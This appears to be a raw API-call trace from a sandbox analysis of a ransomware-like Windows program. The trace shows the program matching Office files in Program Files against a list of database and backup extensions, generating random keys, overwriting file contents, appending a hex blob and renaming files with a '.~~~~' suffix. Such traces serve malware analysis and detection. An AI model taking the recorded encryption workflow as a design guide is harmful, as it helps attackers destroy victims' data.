	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".myd") returned 0x0
	[0080.153] lstrlenW (lpString=".DTXS") returned 5
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".DTXS") returned 0x0
	[0080.153] lstrlenW (lpString=".ckp") returned 4
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".ckp") returned 0x0
	[0080.153] lstrlenW (lpString=".dbt") returned 4
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".dbt") returned 0x0
	[0080.153] lstrlenW (lpString=".db") returned 3
	[0080.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".db") returned 0x0
	[0080.154] lstrlenW (lpString=".TXT") returned 4
	[0080.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".TXT") returned 0x0
	[0080.154] lstrlenW (lpString=".MDF") returned 4
	[0080.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".MDF") returned 0x0
	[0080.154] lstrlenW (lpString=".bdb") returned 4
	[0080.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".bdb") returned 0x0
	[0080.154] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0080.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.154] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0080.155] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.155] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0080.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0080.156] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20014601427) returned 1
	[0080.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x99a075b0, dwHighDateTime=0x1d60e1e)) 
	[0080.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0080.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0080.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0080.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b77a0
	[0080.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b77a0 | out: hHeap=0x300000) returned 1
	[0080.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd418
	[0080.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd418 | out: hHeap=0x300000) returned 1
	[0080.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0080.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.156] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0080.157] GetLastError () returned 0x0
	[0080.157] GetLastError () returned 0x0
	[0080.157] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0080.157] GetLastError () returned 0x0
	[0080.157] GetLastError () returned 0x0
	[0080.158] ReadFile (in: hFile=0x124, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.293] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.293] WriteFile (in: hFile=0x124, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0080.294] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.295] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.320] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.320] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.321] CloseHandle (hObject=0x124) returned 1
	[0080.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7288
	[0080.321] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.~~~~")) returned 1
	[0080.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7288 | out: hHeap=0x300000) returned 1
	[0080.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0080.323] GetLastError () returned 0x0
	[0080.323] RtlWakeConditionVariable () returned 0x365f70
	[0080.323] GetCurrentThreadId () returned 0x3a4
	[0080.323] GetCurrentThreadId () returned 0x3a4
	[0080.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7480 | out: hHeap=0x300000) returned 1
	[0080.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bbd8 | out: hHeap=0x300000) returned 1
	[0080.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7480
	[0080.323] lstrlenW (lpString=".scr") returned 4
	[0080.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".scr") returned 0x0
	[0080.323] lstrlenW (lpString=".cmd") returned 4
	[0080.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".cmd") returned 0x0
	[0080.323] lstrlenW (lpString=".dll") returned 4
	[0080.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".dll") returned 0x0
	[0080.323] lstrlenW (lpString=".bat") returned 4
	[0080.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".bat") returned 0x0
	[0080.323] lstrlenW (lpString=".cpl") returned 4
	[0080.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".cpl") returned 0x0
	[0080.323] lstrlenW (lpString=".sys") returned 4
	[0080.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".sys") returned 0x0
	[0080.324] lstrlenW (lpString=".msc") returned 4
	[0080.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".msc") returned 0x0
	[0080.324] lstrlenW (lpString=".com") returned 4
	[0080.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".com") returned 0x0
	[0080.324] lstrlenW (lpString=".lnk") returned 4
	[0080.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".lnk") returned 0x0
	[0080.324] lstrlenW (lpString=".msp") returned 4
	[0080.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".msp") returned 0x0
	[0080.324] lstrlenW (lpString=".pif") returned 4
	[0080.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".pif") returned 0x0
	[0080.324] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0080.328] lstrlenW (lpString=".sqb") returned 4
	[0080.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".sqb") returned 0x0
	[0080.329] lstrlenW (lpString=".ost") returned 4
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".ost") returned 0x0
	[0080.329] lstrlenW (lpString=".txt") returned 4
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".txt") returned 0x0
	[0080.329] lstrlenW (lpString=".mdt") returned 4
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".mdt") returned 0x0
	[0080.329] lstrlenW (lpString=".BDB") returned 4
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".BDB") returned 0x0
	[0080.329] lstrlenW (lpString=".eql") returned 4
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".eql") returned 0x0
	[0080.329] lstrlenW (lpString=".DBF") returned 4
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".DBF") returned 0x0
	[0080.329] lstrlenW (lpString=".EQL") returned 4
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".EQL") returned 0x0
	[0080.329] lstrlenW (lpString=".FDB") returned 4
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".FDB") returned 0x0
	[0080.329] lstrlenW (lpString=".EDB") returned 4
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".EDB") returned 0x0
	[0080.329] lstrlenW (lpString=".DACPAC") returned 7
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.329] lstrlenW (lpString=".VHD") returned 4
	[0080.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".VHD") returned 0x0
	[0080.329] lstrlenW (lpString=".DBV") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".DBV") returned 0x0
	[0080.330] lstrlenW (lpString=".dacpac") returned 7
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".dacpac") returned 0x0
	[0080.330] lstrlenW (lpString=".sdf") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".sdf") returned 0x0
	[0080.330] lstrlenW (lpString=".accdb") returned 6
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".accdb") returned 0x0
	[0080.330] lstrlenW (lpString=".DBX") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".DBX") returned 0x0
	[0080.330] lstrlenW (lpString=".MDT") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".MDT") returned 0x0
	[0080.330] lstrlenW (lpString=".SQB") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".SQB") returned 0x0
	[0080.330] lstrlenW (lpString=".vhd") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".vhd") returned 0x0
	[0080.330] lstrlenW (lpString=".bac") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".bac") returned 0x0
	[0080.330] lstrlenW (lpString=".mdf") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".mdf") returned 0x0
	[0080.330] lstrlenW (lpString=".BAK") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".BAK") returned 0x0
	[0080.330] lstrlenW (lpString=".BAC") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".BAC") returned 0x0
	[0080.330] lstrlenW (lpString=".dbs") returned 4
	[0080.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".dbs") returned 0x0
	[0080.331] lstrlenW (lpString=".vhdx") returned 5
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".vhdx") returned 0x0
	[0080.331] lstrlenW (lpString=".NDF") returned 4
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".NDF") returned 0x0
	[0080.331] lstrlenW (lpString=".dat") returned 4
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".dat") returned 0x0
	[0080.331] lstrlenW (lpString=".DBS") returned 4
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".DBS") returned 0x0
	[0080.331] lstrlenW (lpString=".CKP") returned 4
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".CKP") returned 0x0
	[0080.331] lstrlenW (lpString=".edb") returned 4
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".edb") returned 0x0
	[0080.331] lstrlenW (lpString=".PST") returned 4
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".PST") returned 0x0
	[0080.331] lstrlenW (lpString=".dbf") returned 4
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".dbf") returned 0x0
	[0080.331] lstrlenW (lpString=".SQL") returned 4
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".SQL") returned 0x0
	[0080.331] lstrlenW (lpString=".pst") returned 4
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".pst") returned 0x0
	[0080.331] lstrlenW (lpString=".dbv") returned 4
	[0080.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".dbv") returned 0x0
	[0080.331] lstrlenW (lpString=".SDF") returned 4
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".SDF") returned 0x0
	[0080.332] lstrlenW (lpString=".dtxs") returned 5
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".dtxs") returned 0x0
	[0080.332] lstrlenW (lpString=".db3") returned 4
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".db3") returned 0x0
	[0080.332] lstrlenW (lpString=".OST") returned 4
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".OST") returned 0x0
	[0080.332] lstrlenW (lpString=".dbx") returned 4
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".dbx") returned 0x0
	[0080.332] lstrlenW (lpString=".DB3") returned 4
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".DB3") returned 0x0
	[0080.332] lstrlenW (lpString=".DAT") returned 4
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".DAT") returned 0x0
	[0080.332] lstrlenW (lpString=".VHDX") returned 5
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".VHDX") returned 0x0
	[0080.332] lstrlenW (lpString=".ndf") returned 4
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".ndf") returned 0x0
	[0080.332] lstrlenW (lpString=".DB") returned 3
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".DB") returned 0x0
	[0080.332] lstrlenW (lpString=".sql") returned 4
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".sql") returned 0x0
	[0080.332] lstrlenW (lpString=".MYD") returned 4
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".MYD") returned 0x0
	[0080.332] lstrlenW (lpString=".DBT") returned 4
	[0080.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".DBT") returned 0x0
	[0080.332] lstrlenW (lpString=".ACCDB") returned 6
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.333] lstrlenW (lpString=".fdb") returned 4
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".fdb") returned 0x0
	[0080.333] lstrlenW (lpString=".bak") returned 4
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".bak") returned 0x0
	[0080.333] lstrlenW (lpString=".myd") returned 4
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".myd") returned 0x0
	[0080.333] lstrlenW (lpString=".DTXS") returned 5
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".DTXS") returned 0x0
	[0080.333] lstrlenW (lpString=".ckp") returned 4
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".ckp") returned 0x0
	[0080.333] lstrlenW (lpString=".dbt") returned 4
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".dbt") returned 0x0
	[0080.333] lstrlenW (lpString=".db") returned 3
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".db") returned 0x0
	[0080.333] lstrlenW (lpString=".TXT") returned 4
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".TXT") returned 0x0
	[0080.333] lstrlenW (lpString=".MDF") returned 4
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".MDF") returned 0x0
	[0080.333] lstrlenW (lpString=".bdb") returned 4
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".bdb") returned 0x0
	[0080.333] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0080.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.334] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0080.335] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.335] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0080.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3cc6f0
	[0080.335] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20032505307) returned 1
	[0080.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x99bd0630, dwHighDateTime=0x1d60e1e)) 
	[0080.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0080.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0080.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0080.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bbd8
	[0080.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bbd8 | out: hHeap=0x300000) returned 1
	[0080.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b71e0
	[0080.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
